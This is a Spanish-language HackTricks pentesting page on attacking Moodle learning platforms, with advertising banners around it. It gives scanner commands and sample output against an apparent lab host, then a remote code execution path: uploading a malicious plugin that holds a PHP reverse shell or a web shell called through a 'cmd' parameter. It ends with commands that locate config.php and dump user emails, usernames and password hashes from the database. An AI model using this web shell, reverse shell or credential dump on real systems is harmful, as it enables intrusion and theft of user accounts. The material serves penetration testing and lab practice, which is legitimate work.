hacktricks/network-services-pentesting/pentesting-web/moodle.md

6.6 KiB

Moodle

Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Red Team de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

Consejo de recompensa por errores: regístrate en Intigriti, una plataforma premium de recompensas por errores creada por hackers, para hackers! ¡Únete a nosotros en https://go.intigriti.com/hacktricks hoy, y comienza a ganar recompensas de hasta $100,000!

{% embed url="https://go.intigriti.com/hacktricks" %}

Escaneos Automáticos

droopescan

pip3 install droopescan
droopescan scan moodle -u http://moodle.example.com/<moodle_path>/

[+] Plugins found:
forum http://moodle.schooled.htb/moodle/mod/forum/
http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
http://moodle.schooled.htb/moodle/mod/forum/version.php

[+] No themes found.

[+] Possible version(s):
3.10.0-beta

[+] Possible interesting urls found:
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
Admin panel - http://moodle.schooled.htb/moodle/login/

[+] Scan finished (0:00:05.643539 elapsed)

moodlescan

Moodlescan es una herramienta de escaneo de Moodle que puede ayudar en la identificación de vulnerabilidades en una instalación de Moodle. Puede realizar un escaneo de versiones de Moodle, temas instalados, plugins y usuarios.

#Install from https://github.com/inc0d3/moodlescan
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/

Version 0.7 - Dic/2020
.............................................................................................................

By Victor Herrera - supported by www.incode.cl

.............................................................................................................

Getting server information http://moodle.schooled.htb/moodle/ ...

server         	: Apache/2.4.46 (FreeBSD) PHP/7.4.15
x-powered-by   	: PHP/7.4.15
x-frame-options	: sameorigin
last-modified  	: Wed, 07 Apr 2021 21:33:41 GMT

Getting moodle version...

Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta

Searching vulnerabilities...


Vulnerabilities found: 0

Scan completed.

CMSMap

pip3 install git+https://github.com/dionach/CMSmap.git
cmsmap http://moodle.example.com/<moodle_path>

CVEs

Descubrí que las herramientas automáticas son bastante inútiles para encontrar vulnerabilidades que afecten a la versión de moodle. Puedes verificar esto en https://snyk.io/vuln/composer:moodle%2Fmoodle

RCE

Necesitas tener el rol de manager y puedes instalar plugins dentro de la pestaña "Administración del sitio"**:**

Si eres manager, es posible que aún necesites activar esta opción. Puedes ver cómo hacerlo en la PoC de escalada de privilegios de moodle: https://github.com/HoangKien1020/CVE-2020-14321.

Luego, puedes instalar el siguiente plugin que contiene el clásico pentest-monkey php rev shell (antes de subirlo, necesitas descomprimirlo, cambiar la IP y el puerto del revshell y comprimirlo nuevamente)

{% file src="../../.gitbook/assets/moodle-rce-plugin.zip" %}

O podrías usar el plugin de https://github.com/HoangKien1020/Moodle_RCE para obtener un shell PHP regular con el parámetro "cmd".

Para acceder y lanzar el plugin malicioso, necesitas acceder a:

http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id

POST

Encontrar credenciales de la base de datos

find / -name "config.php" 2>/dev/null | grep "moodle/config.php"

Volcar credenciales de la base de datos

/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"

Consejo de recompensa por errores: ¡Regístrate en Intigriti, una plataforma premium de recompensas por errores creada por hackers, para hackers! ¡Únete a nosotros en https://go.intigriti.com/hacktricks hoy y comienza a ganar recompensas de hasta $100,000!

{% embed url="https://go.intigriti.com/hacktricks" %}

Aprende a hackear AWS de cero a héroe con htARTE (Experto en Equipos Rojos de AWS de HackTricks)!

Otras formas de apoyar a HackTricks: